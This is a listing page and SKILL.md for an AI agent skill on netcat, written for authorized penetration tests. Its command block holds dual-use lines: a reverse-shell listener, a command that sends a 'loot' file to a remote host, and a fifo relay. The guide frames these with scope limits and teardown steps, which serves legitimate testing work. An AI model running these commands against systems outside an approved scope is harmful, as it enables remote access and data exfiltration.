# Netcat

> Use for basic TCP or UDP connectivity, banner grabbing, listener setup, and controlled data-path validation during authorized pentests. Trigger on socket testing, simple transfer checks, and proving whether a specific network path is reachable.

- Skill: `timsonner/netcat` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/netcat`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/netcat/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/netcat

---


# Netcat

## Purpose

Use this skill for low-overhead socket and path validation when the current hypothesis depends on simple connectivity, banner, or listener behavior.

## Phase Fit

- Primary: Discovery and Reconnaissance, Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure

## Use When

- Need to confirm TCP or UDP reachability.
- Need simple listener or banner tests.
- Need a minimal proof of a network path or transfer route.

## Avoid When

- The network path is not explicitly approved.
- Ad hoc listeners or transfers would exceed the agreed impact level.

## Inputs

- Approved host and port scope
- Direction of the connectivity check
- Stop conditions and logging expectations

## Procedure

1. Keep the host and port scope minimal.
2. Validate only the specific reachability or banner question.
3. Record exact listener or client parameters used.
4. Stop once the path is confirmed or disproved.
5. Tear down listeners immediately after validation.

## Command Syntax

Replace sample hosts and ports with approved in-scope values.

```bash
# Connect and grab a banner
nc -nv 10.10.10.100 80

# Listen for a reverse shell connection
nc -lvnp 4444

# Send a file
nc -nv 10.10.10.1 4444 < /tmp/loot.txt

# Receive a file
nc -lvnp 4444 > /tmp/received.txt

# Manual HTTP request
printf 'GET / HTTP/1.0\r\nHost: portal.contoso.com\r\n\r\n' | nc portal.contoso.com 80

# Pipe-based relay
mkfifo /tmp/backpipe && nc -lvnp 4444 < /tmp/backpipe | nc 10.10.10.100 80 > /tmp/backpipe
```

## Evidence to Capture

- Whether the approved network path or listener worked
- Exact host, port, and direction used
- Minimal proof needed for remediation

## Safety Boundaries

- Use only within the explicitly approved host and port scope.
- Keep listeners short-lived and fully documented.